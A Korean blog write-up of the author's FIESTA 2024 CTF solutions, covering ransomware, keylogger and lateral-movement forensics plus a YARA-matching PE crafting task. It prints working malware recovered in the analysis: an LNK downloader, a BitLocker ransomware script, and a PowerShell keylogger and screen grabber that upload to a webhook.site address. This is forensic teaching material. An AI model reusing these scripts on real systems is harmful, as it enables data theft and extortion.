반응형
반응형
반응형

올해 금융보안원에서 CTF가 열렸다.

나는 2020년도부터 5회째 참여하고 있다.

작년까지는 우수 풀이 팀의 문제 풀이 보고서가 공개되었었는데, 올해에는 아무 소식이 없어서 블로그에 내가 풀었던 문제의 풀이를 작성해보았다. 침해대응과 특별문제 카테고리 위주로 풀었다. (시나리오 카테고리 등의 다른 문제 풀이는 다른 팀원분들께 문의해보세요..)

금융보안원, 'FIESTA 2024' 성황리 개최...금융권 침해위협 분석 역량 강화, 데일리시큐
https://www.dailysecu.com/news/articleView.html?idxno=161004

 

금융보안원, 'FIESTA 2024' 성황리 개최...금융권 침해위협 분석 역량 강화 - 데일리시큐

금융보안원이 주최한 금융권 사이버 침해위협 분석대회 FIESTA 2024가 금융정보보호 컨퍼런스(FISCON) 2024에서 성공적으로 막을 내렸다. 이번 대회는 금융업계에서 중요시되는 생성형 AI와 공급망,

www.dailysecu.com

 


팀명: 우승시 재입대

팀원: Yrina(팀장), uniguri, jzziqw, M4ndU


침해 대응 1

직원 A씨는 어느 날 PC가 랜섬웨어에 감염된 사실을 알게되었다.
랜섬웨어에 의해 잠긴 파티션 속에는 중요한 대외비 자료가 보관 중이었다.
이에 긴급하게 분석을 맡기게 되었고, 당신은 해당 자료를 무사히 복구해야 하는 상황에 처했다.
문제 :
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함)
(2) 비트라커의 평문키
(3) 암호화된 파티션 내부 설계도면에 적힌 가격
flag 형식 = FIESTA{(1)_(2)_(3)}

(1) dll인젝션에 사용된 dll 파일명 (.dll 포함)

주어진 VM을 실행하면 윈도우 디펜더를 통해 악성코드를 식별할 수 있다

lnk에 포함된 악성 코드를 추출하면 아래와 같다.

C:\Windows\SysWOW64\cmdexe$\\Windows\SysWOW64\cmdexe/c powershell -windowstyle hidden -command "Set-Location -Path 'C:\Users\Public'; Invoke-WebRequest -Uri 'http://10.67.231.33:7777/123pdf' -OutFile 'C:\Users\Public\m?캴???9??클????pdf'; Invoke-WebRequest -Uri 'http://10.67.231.33:7777/1exe' -OutFile 'C:\Users\Public\1exe'; Start-Process -FilePath 'C:\Users\Public\m?캴???9??클????pdf'; Start-Process -FilePath 'C:\Users\Public\1exe'"NC:\Program Files\Adobe\Acrobat DC\Acrobat\CrashReporterResources\AdobeLogoico

악성 코드를 분석하면 http://10.67.231.33:7777/1.exe를 다운로드받아와 실행하며, 해당 파일이 악성파일인 것으로 추정된다.

해당 파일은 C:\Users\Public\1.exe에서 확인할 수 있다. 해당 악성코드의 행위는 Virustotal에서 확인할 수 있다.

https://www.virustotal.com/gui/file/1aff70f10f603b5829f1b7139986d31c89122f5c700896ce2ae18ffd1f97325e/relations

https://github.com/imnothackerkkk/key 에서 악성 파일을 추가로 다운로드 받는다.

https://github.com/imnothackerkkk/key/raw/main/version.dll 을 다운받아온다.

version.dll

 

(2) 비트라커의 평문키

 

wiping.ps1에서는 lock.ps1을 지우는 작업을 수행하는데, lock.ps1이 파일을 비트라커로 암호화하는 작업을 수행하는 것으로 추정된다.

%appdata%/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt를 보면, lock.ps1 실행 기록이 있다.

 

https://github.com/imnothackerkkk/enc 에서 암호화된 lock_encrypted.ps1과 암호화를 수행하는 enc.exe를 확인할 수 있다. README.md에 따르면, xor 기반으로 lock.ps1을 암호화한다고 설명되어 있다.

IDA Pro로 확인한 동작 과정과 동일하다.

0x00으로 채워진 lock.ps1 파일을 하나 만들고 enc.exe를 실행시켜보면, specialllll!!!!!!!로 채워진 lock_encrypted.ps1이 생성된 것을 확인할 수 있다.

암복호화에 사용된 XOR 키는 specialllll!!!!!!!임을 확인하였으므로, lock_encrypted.ps1을 복호화할 수 있다.

복호화된 코드는 아래와 같다.

Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret"; 
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
    if ($volume.MountPoint -ne $osVolume) {
        Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
    Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
        Get-BitLockerVolume -MountPoint $volume.MountPoint
    }
}

$Url1 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/ransomnote.jpg"
$Url2 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/readme.txt"
$desktopPath = [System.Environment]::GetFolderPath("Desktop")
$destinationPath1 = Join-Path -Path $desktopPath -ChildPath "note.jpg"
$destinationPath2 = Join-Path -Path $desktopPath -ChildPath "readme.txt"
Invoke-WebRequest -Uri $Url1 -OutFile $destinationPath1
Invoke-WebRequest -Uri $Url2 -OutFile $destinationPath2
$imageFileName = "note.jpg"
$imagePath = Join-Path -Path $desktopPath -ChildPath $imageFileName
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper
{
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 20
$SPIF_UPDATEINIFILE = 0x01
$SPIF_SENDCHANGE = 0x02
[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $imagePath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
Restart-Computer -Force

https://raw.githubusercontent.com/imnothackerkkk/key/main/secret을 키로 사용하여 비트락커 잠금을 수행하며, 이후 랜섬노트를 가져오는 과정도 확인할 수 있다.

secret의 내용은 Giveme the100BTC!!!이다.

Giveme the100BTC!!!

 

(3) 암호화된 파티션 내부 설계도면에 적힌 가격

비트락커 잠금 과정 코드를 활용하여 잠긴 비트락커를 해제할 수 있다.

E:\취급주의!!!\[대외비]잠수함설계도면.jpeg에서 잠수함 설계도면을 확인할 수 있었다.

가격은 150000$ 이다.

FIESTA{version.dll_Giveme the100BTC!!!_150000$}

 


침해 대응 2

회사 내부망의 컴퓨터를 원격으로 이용하던 직원이 어느 날 컴퓨터의 속도가 미세하게 느려 졌음을 감지했다. 그는 컴퓨터를 면밀히 조사했으나 아무 이상을 발견하지 못했고, 결국 컴퓨터를 이미징하여 당신에게 분석을 의뢰했다. 분석가인 당신은 이 컴퓨터가 느려진 원인을 파악해야 한다.
문제 :
(1) 키로그와 스크린샷의 저장경로 (ex, [root]/xxx/yyy)
(2) 악성코드가 정보수집용 프로세스를 최초 호출한 시각 UTC+9 (Ex, YYYY-MM-DD-HH:MM:SS)
(3) 악성코드가 정보를 전송하는 주소 
flag 형식 : FIESTA{(1)_(2)_(3)}

(1) 키로그와 스크린샷의 저장경로 (ex, [root]/xxx/yyy)

aaa.vbs, key.ps1, shot.ps1을 다운로드 받은 기록이 있다.

 

파워쉘 실행기록이 남는 [root]/Users/user/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt에 실행 명령 기록이 있다:

function Start-KeyLogger($Path="C:\Users\Public\Music\key.txt") `
{`
  $signatures = @'`
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] `
public static extern short GetAsyncKeyState(int virtualKeyCode); `
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int GetKeyboardState(byte[] keystate);`
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int MapVirtualKey(uint uCode, int uMapType);`
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);`
'@`
`
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru`
    `
  $null = New-Item -Path $Path -ItemType File -Force`
`
  try`
  {`
    while ($true) {`
      Start-Sleep -Milliseconds 40`
      `
      for ($ascii = 9; $ascii -le 254; $ascii++) {`
        $state = $API::GetAsyncKeyState($ascii)`
`
        if ($state -eq -32767) {`
          $null = [console]::CapsLock`
`
          $virtualKey = $API::MapVirtualKey($ascii, 3)`
`
          $kbstate = New-Object Byte[] 256`
          $checkkbstate = $API::GetKeyboardState($kbstate)`
`
          $mychar = New-Object -TypeName System.Text.StringBuilder`
`
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)`
`
          if ($success) `
          {`
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) `
          }`
        }`
      }`
      `
      if ((Get-Date).Second % 30 -eq 0) {`
        $url = "https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952"`
        $content = Get-Content -Path $Path -Raw`
        $body = @{ fileContent = $content }`
        `
        Invoke-RestMethod -Uri $url -Method Post -Body $body`
        Start-Sleep -Seconds 5`
      }`
    }`
  }`
  finally`
  {`
    notepad $Path`
  }`
}`
`
Start-KeyLogger`

Add-Type -AssemblyName System.Windows.Forms,System.Drawing`
`
while ($true) {`
    $screens = [Windows.Forms.Screen]::AllScreens`
    $top    = ($screens.Bounds.Top    | Measure-Object -Minimum).Minimum`
    $left   = ($screens.Bounds.Left   | Measure-Object -Minimum).Minimum`
    $width  = ($screens.Bounds.Right  | Measure-Object -Maximum).Maximum`
    $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum`
`
    $bounds   = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)`
    $bmp      = New-Object System.Drawing.Bitmap ([int]$bounds.width), ([int]$bounds.height)`
    $graphics = [Drawing.Graphics]::FromImage($bmp)`
`
    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)`
`
    $timestamp = (Get-Date).ToString("yyyyMMdd_HHmmss")`
    $screenshotPath = "C:\Users\Public\Music\screenshot_$timestamp.png"`
`
    $bmp.Save($screenshotPath)`
`
    $url = "https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952"`
`
    $form = New-Object System.Net.WebClient`
    $form.Headers["Content-Type"] = "application/x-www-form-urlencoded"`
`
    try {`
        $form.UploadFile($url, "POST", $screenshotPath)`
    } catch {`
    }`
`
    $graphics.Dispose()`
    $bmp.Dispose()`
`
    Start-Sleep -Seconds 60`
}`

 

키로깅 및 스크린샷 저장이 수행됨을 확인할 수 있다.

저장 경로 C:\Users\Public\Music 및 정보 전송 주소 https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952 를 확인할 수 있다.

[root]/Users/Public/Music에 키로그를 저장하는 파일과 스크린샷 파일이 저장되어 있다.

 

(2) 악성코드가 정보수집용 프로세스를 최초 호출한 시각 UTC+9 (Ex, YYYY-MM-DD-HH:MM:SS)

악성코드는 aaa.vbs로 추정되며, 해당 코드가 실행된 시각은 lnk 파일이 생성된 시각인 2024-08-15-12:22:59이다.

 

(3) 악성코드가 정보를 전송하는 주소

(1) 풀이에서 확인한 주소

https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952

 

FIESTA{[root]/Users/Public/Music_2024-08-15-12:22:59_https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952}


침해 대응 3

네트워크에서 의심스러운 EXE 파일이 발견되었습니다. 이 파일은 dropper로 의심되며, 여러 악성 파일을 설치하는 역할을 하는 것으로 보입니다. 제공된 악성코드를 분석하여 dropper가 설치하는 파일명을 파악하시오.
정답 : FIESTA{파일명.exe}

Virustotal을 통해 Dropper가 설치하는 파일명을 파악할 수 있다.

dropper가 설치하는 파일명이 플래그이므로 플래그 형식에 맞게 입력하면 된다.

FIESTA{d9a0de9b4accee17a9ba1ef175bd81983729eb82acbf126be39c26eaf08840d0.exe}

반응형

침해 대응 5

문제의 침해 내용을 분석하여 다음의 값을 구하여야 합니다.
(1) 최초 침투를 위해 사용한 악성코드가 실행된 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)
(2) 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 무엇인가? (format: 대소문자 구별)
(3) 최초 침투 PC에서 다음 PC로 lateral movement에 성공한 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)
(4) 공격자가 유출할 때 사용한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)
(5) 공격자가 최종적으로 유출한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)
FLAG format: FIESTA{(1)_(2)_(3)_(4)_(5)}

(1) 최초 침투를 위해 사용한 악성코드가 실행된 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)

node2의 %appdata%/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt를 보면, wsqmanager.exe, wingtsvcupdt.exe와 같은 프로그램명을 찾을 수 있다.

wingtsvcupdt.exe는 키로거 프로그램으로, 아래 링크 시나리오에서 찾을 수 있다. https://attackevals.mitre-engenuity.org/results/enterprise?vendor=crowdstrike&evaluation=turla&scenario=1

위 보고서에 따르면, 최초 악성코드 파일명은 NTFVersion.exe이다. 해당 프로그램에 대한 실행 기록은 Node 3의 sysmon 이벤트로그에서 확인할 수 있다.

2024-10-03_11:32:11

(2) 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 무엇인가? (format: 대소문자 구별)

node3의 sysmon 이벤트 로그를 확인하면, 2024-10-03 11:58:23에 아래와 같은 이벤트가 발생한 것을 확인할 수 있다.

DisableRestrictedAdmin 레지스트리 값의 경우, https://asec.ahnlab.com/ko/39804/를 확인하면, RDP 사용을 위해 제한된 관리모드를 활성화시키는 레지스트리 값인 것을 알 수 있다.

따라서, 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 DisableRestrictedAdmin이다.

(3) 최초 침투 PC에서 다음 PC로 lateral movement에 성공한 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)

Mitre 보고서에 따르면, 해당 악성 프로그램은 측면 이동을 위한 측면 도구 전송을 수행한다.

NTFS Log Tracker 결과에 따르면, node3에서는 wmimetricsq.exe가 2024-10-03_11:48:31에 생성되고, 2024-10-03_11:48:33에 삭제되었다.

node2에서는 2024-10-03_11:48:32에 생성되었다.

따라서 측면 도구 전송은 2024-10-03_11:48:32에 수행되었다.

다만, 측면 이동에 성공한 시점을 측면 도구 전송 성공이 아닌, 원격 접속이라고 생각한다면,

해당 시간 이후 시점에 원격 접속에 성공한 시점을 확인해야한다.

node2의 Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx에서 2024-10-03_12:06:11 시점에 원격 접속에 성공한 로그 하나를 확인할 수 있다.

2024-10-03_12:06:11

(4) 공격자가 유출할 때 사용한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)

node1에서 NTFS Log Tracker로 확인하였을 때, Project.zip 파일이 생성된 기록이 있으며, 해당 파일을 유출하였을 가능성이 매우 높다. Project.zip은 project plan_Data.csv 파일이 담긴 Project 폴더를 압축한 것으로 추정된다.

해당 파일이 생성된 시각에 SecEdit.ps1이 실행된 기록이 있다. 해당 스크립트가 파일을 유출하기 위한 악성 스크립트로 의심된다.

SecEdit.ps1

(5) 공격자가 최종적으로 유출한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)

(4)에서 확인한 Project.zip이 유력하다.

Project.zip

FIESTA{2024-10-03_11:32:11_DisableRestrictedAdmin_2024-10-03_12:06:11_SecEdit.ps1_Project.zip}


특별 문제 3

악성코드의 규칙을 파악했습니다. 다음 조건을 충족 시켜주세요.
http://43.202.176.253:8501/

아래와 같은 YARA Rule이 주어진다:

import "pe"
import "console"
import "math"
import "hash"

rule fiesta_rule {
    strings:
        $fiesta = "fiesta" nocase wide ascii
        $fiesta2 = { 5F [4-] 93 ?? 31 12 [2] ~?1 2? ?0 }
        $fiesta3 = { 68 40 30 00 00 6A 14 8D 91 }
        $fiesta4 = { 90 90 90 90 68 ?? ?? ?? ?? C3 }

    condition:
        uint16(0) == 0x5A4D and
        any of ($fiesta3*) and
        math.entropy(0, filesize) > 6 and
        pe.is_32bit() == 0 and
        pe.version_info["CompanyName"] == "Fiesta" and
        pe.number_of_imported_functions == 62 and
        $fiesta in ((pe.sections[pe.section_index(".fiesta")].raw_data_offset) .. (pe.sections[pe.section_index(".fiesta")].raw_data_offset + pe.sections[pe.section_index(".fiesta")].raw_data_size)) and
        pe.imports("fiesta.dll") == 3 and
        pe.number_of_resources == 1 and
        pe.number_of_sections == 23 and
        $fiesta4 and
        for any section in pe.sections : (
            section.name == ".fiesta" and
            math.deviation(section.raw_data_offset, section.raw_data_size, math.MEAN_BYTES) > 64.8 and
            math.deviation(section.raw_data_offset, section.raw_data_size, math.MEAN_BYTES) < 64.9 and
            $fiesta2 at section.raw_data_offset + 0x2f
        ) or
        hash.md5(0, filesize) == "33baf1c19ca30dac4617dbab5f375efd"
}

주어진 YARA RULE에 맞는 PE 파일을 제출하면 되는 문제다.

조건에 맞는 PE 파일을 새로 만드는 것은 어려우므로 기존 PE 파일을 수정하는 형태로 문제 풀이를 진행했다.

1 단계

Base PE 파일로는 https://github.com/ayaka14732/TinyPE-on-Win10/blob/main/step2/tiny.exe에서 구할 수 있는 매우 작은 64-Bit PE 바이너리를 사용했다.

위 바이너리를 이용해서 다음 2개의 조건을 만족시킬 수 있다:

uint16(0) == 0x5A4D and
pe.is_32bit() == 0 and

2 단계

다음 Resource Hacker를 사용해 Verson Info를 추가하고 CompanyName을 Fiesta로 작성한 뒤, 컴파일하여 적용한다.

이것으로 다음 2개의 조건을 달성할 수 있다:

pe.version_info["CompanyName"] == "Fiesta" and
pe.number_of_resources == 1 and

3 단계

나머지 조건은 lief 파이썬 라이브러리를 사용하여 PE파일을 수정하여 만족시켰다.

lief를 사용하여 조건에 맞는 PE 파일을 만드는 파이썬 코드는 다음과 같다:

import lief

# 기존의 PE 파일 불러오기
binary = lief.parse("tiny.exe")

# 22개의 섹션을 추가해야 하는데 현재 섹션 수 확인
current_section_count = len(binary.sections)
sections_to_add = 19 - current_section_count

if sections_to_add > 0:
    for i in range(sections_to_add):
        # 새 섹션 생성
        new_section = lief.PE.Section(f".newsec{i}")
        new_section.virtual_size = 0x1000
        new_section.size = 0x1000

        # 섹션 특성 설정 (읽기/쓰기 가능)
        new_section.characteristics = 0x40000040  # 읽기/쓰기 가능

        # 새 섹션을 PE 파일에 추가
        binary.add_section(new_section)

    # 수정된 PE 파일 저장
    binary.write("modified_add")

else:
    print(f"이미 {22}개 이상의 섹션이 있습니다.")

print("added sec21")
# 기존의 PE 파일 불러오기
binary = lief.parse("modified_add")

# 1. 고정된 패턴 값 설정 (YARA 패턴에 맞는 값)
fiesta2_pattern = bytes.fromhex('5F A1 B2 C3 D4 93 E5 31 12 F1 F2 F3 21 10')

# 새로운 섹션 생성
new_section = lief.PE.Section(".fiesta")
# 기본 섹션 데이터에 "fiesta" 문자열을 넣고 0x2F까지 패딩
a = 17
b = (0x2F - len(b"fiesta")) - a
new_section.content = list(b"fiesta" + b"\xa0" * a + b"\x26" * b) + list(fiesta2_pattern)

new_section.virtual_size = 0x1000  # 가상 크기 설정
new_section.size = len(new_section.content)  # 실제 데이터 크기 설정

# 섹션 특성 설정 (읽기/쓰기 가능, 초기화된 데이터)
new_section.characteristics = 0x60000020  # 읽기/쓰기가 가능하고, 초기화된 데이터

# 새로운 섹션을 PE 파일에 추가
binary.add_section(new_section)
print("added sec fiesta")

# 1.  fiesta.dll 추가
dummy_import = binary.add_library("fiesta.dll")
for i in range(3):
    dummy_import.add_entry(f"DummyFunction{i+1}")

# 2. 새로운 임포트 테이블로 교체 (기존 임포트를 재구성)


# 3. dummy.dll 추가 및 부족한 함수 채우기
dummy_import = binary.add_library("dummy.dll")

# 임포트 테이블에 함수 추가 (62개를 맞추기 위해 함수 추가)
functions_to_add = 62 - 3

for i in range(functions_to_add):
    dummy_import.add_entry(f"DummyFunction{i+1}")

# 4. 새로운 임포트 섹션으로 재배치 및 최종 반영
builder = lief.PE.Builder(binary)
builder.build_imports(True)  # 임포트 테이블 재구성
builder.build()              # 모든 섹션 빌드

# 3. 임포트 디렉터리 수정 후 저장
binary.write("modified_tiny.exe")

print("임포트 테이블 수정 완료: fiesta.dll에서 3개 함수 추가됨")


# 16진수 데이터를 바이트로 변환
data_to_append = bytes.fromhex('68 40 30 00 00 6A 14 8D 91')

# tiny.exe 파일을 열어서 끝에 데이터를 추가
with open("modified_tiny.exe", "ab") as f:
    f.write(data_to_append)

print("데이터가 tiny.exe 파일 끝에 성공적으로 추가되었습니다.")



# 기존의 16진수 데이터 (와일드카드 부분 제외)
data_to_append = bytes.fromhex('90 90 90 90 68 ee d3 45 16 c3')
full_data = data_to_append

# tiny.exe 파일을 열어서 끝에 데이터를 추가
with open("tiny.exe", "ab") as f:
    f.write(full_data)

print(f"데이터가 tiny.exe 파일 끝에 성공적으로 추가되었습니다. ")

import os
# 100바이트의 무작위 데이터 생성
random_data = os.urandom(100000*2)

# 파일을 바이너리 모드로 열고 끝에 무작위 데이터를 추가
with open("modified_tiny.exe", "ab") as file:
    file.write(random_data)

FIESTA{3308c353120554108987f96d29e0a0fdda0039dca54bfad72bdfc5094765593a}


특별 문제 4

샘플을 분석하여 악성행위를 파악하라.

prob.lnk 파일이 주어지며, 내부에 악성 스크립트를 실행하는 구문이 포함되어 있다.

이를 추출하여 실행되는 코드 구문을 확인하면 아래와 같다:

$RWMabUrB4OVlPPf9G78OpdHgwILDFUS5xrCyxPYPsIrNXDKro2K6tHmfpVjQ5UgSn7wckvFTuryoEno1RF3Cuoz3vD4KtwQM8UszdgyOWY0tumKiJvdT3Rrw1eV15PR1yyFwhxRUsEJBrsN0wz34IuBUvgLOiGCXereByYt7L5IsLaKFy5Kt8M2GP3OIy8H1ofAi3xBhrxsOJw4NtXwapU1YVvUqzw8EbnfJX50MWZ9WmJP7QEdErQXoxRrn8av7Z2inreXEcZb5rRvDnI95DaK09E1xCuZ6WNdDwx5RWEbC7piBMDaTnKCjn0w3y7KCxrbc4HAhccg4KyZzf3By6pQ6mHpQKhsso28nlEsKhAZdNTEL2Vdn7sU9ZlTYfl9onPHwYjXVxAGWv7cC64vvjq83KPg0zrmm2OLW9XluxWNgHwVga3Di497ktnv2SvnCZ9jcjqmm04AspBZqr7xVIDpfwRuZDDVj6KcArpBrBZb720VYGp0cFiYO4sgeXCvAceUwsU0l6lIPcvAW9aYzqEsEWOKBhpMiEkyAUd3ST3ha1z5OkZPS64JYfkJASLUcHAgtuiQNEOrbbH0LnEanzuQkK9Xu2fYF5cR2lP4EBtHZMZDW2qCnkeV2fKlqZIY9M9Do7Ioe0JNgvpWBFM4rbcVlrzdo69BQlADOP3ykwbAel3pZu4x0wTkUYArqV71hPCInVJL4L1cpaaCyBqi1QEQSAoyHO8WNZ0PO5xu8sJzwKCnkncBqc5JW6hNm5Vu2DnPUqJqoyss90t5fKI95FguRUQgtlXBQEOSKusCUnlx0dzZEUb49JRHzRfq7r4s8ZfvSzfpyoDjgoUsvFtLY4REoIJNUtRPPSZHOCfFEC0ceAhfj6nGbJOxaCKZZCvriLmjDDCayaWdtYnuBbmG17kM34fN6nTcpRrlGM7xhEkhFOhEJBO2gZaYHAZEWzpMU3IY04nfpT2zc2IvRyltjW8 = "`Get"

$sCbl8RarjCkvk70Vs69h63l7YAX6mjgM6RzLRvMTpuSkcaCzs3Vd3rHYdjeb4W9S8FInM1eWM5ZzJXZWBEKvwACTnfLuM83ygKhvYqrgciqPmEi90rSAxTMbms860vdbGAVpENbwX4yxYuOia4O9dGETSLzS7ehEvDJKAdE3xDJC4aL9Ev6FtcWWko8pM8YxSrSOJGt48OQUtX2F3TavnFYmdEQFeeHX0d9w5VcLNxHS3wCrcN9C4tdeLXoR376ssjdTY9PsivWVNskvbLSgupq86WCJjNjFE7UmCyF = "Bytes"

$sXL7xTWiQwf0hCId0b2WnN6ZLB0otig3kceQqHkUwn0c6ZVBHYcTn8VJkpLbAmZNEXjfkfTvYwBF30feu1w5fw6OuML5i2S7KI0dEc17CQGN8UcITw3t = ($RWMabUrB4OVlPPf9G78OpdHgwILDFUS5xrCyxPYPsIrNXDKro2K6tHmfpVjQ5UgSn7wckvFTuryoEno1RF3Cuoz3vD4KtwQM8UszdgyOWY0tumKiJvdT3Rrw1eV15PR1yyFwhxRUsEJBrsN0wz34IuBUvgLOiGCXereByYt7L5IsLaKFy5Kt8M2GP3OIy8H1ofAi3xBhrxsOJw4NtXwapU1YVvUqzw8EbnfJX50MWZ9WmJP7QEdErQXoxRrn8av7Z2inreXEcZb5rRvDnI95DaK09E1xCuZ6WNdDwx5RWEbC7piBMDaTnKCjn0w3y7KCxrbc4HAhccg4KyZzf3By6pQ6mHpQKhsso28nlEsKhAZdNTEL2Vdn7sU9ZlTYfl9onPHwYjXVxAGWv7cC64vvjq83KPg0zrmm2OLW9XluxWNgHwVga3Di497ktnv2SvnCZ9jcjqmm04AspBZqr7xVIDpfwRuZDDVj6KcArpBrBZb720VYGp0cFiYO4sgeXCvAceUwsU0l6lIPcvAW9aYzqEsEWOKBhpMiEkyAUd3ST3ha1z5OkZPS64JYfkJASLUcHAgtuiQNEOrbbH0LnEanzuQkK9Xu2fYF5cR2lP4EBtHZMZDW2qCnkeV2fKlqZIY9M9Do7Ioe0JNgvpWBFM4rbcVlrzdo69BQlADOP3ykwbAel3pZu4x0wTkUYArqV71hPCInVJL4L1cpaaCyBqi1QEQSAoyHO8WNZ0PO5xu8sJzwKCnkncBqc5JW6hNm5Vu2DnPUqJqoyss90t5fKI95FguRUQgtlXBQEOSKusCUnlx0dzZEUb49JRHzRfq7r4s8ZfvSzfpyoDjgoUsvFtLY4REoIJNUtRPPSZHOCfFEC0ceAhfj6nGbJOxaCKZZCvriLmjDDCayaWdtYnuBbmG17kM34fN6nTcpRrlGM7xhEkhFOhEJBO2gZaYHAZEWzpMU3IY04nfpT2zc2IvRyltjW8 + $sCbl8RarjCkvk70Vs69h63l7YAX6mjgM6RzLRvMTpuSkcaCzs3Vd3rHYdjeb4W9S8FInM1eWM5ZzJXZWBEKvwACTnfLuM83ygKhvYqrgciqPmEi90rSAxTMbms860vdbGAVpENbwX4yxYuOia4O9dGETSLzS7ehEvDJKAdE3xDJC4aL9Ev6FtcWWko8pM8YxSrSOJGt48OQUtX2F3TavnFYmdEQFeeHX0d9w5VcLNxHS3wCrcN9C4tdeLXoR376ssjdTY9PsivWVNskvbLSgupq86WCJjNjFE7UmCyF)
if (Test-Path Env:\heheFlag) {
    Write-Host "Yep!"
} else {
    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
    exit
}
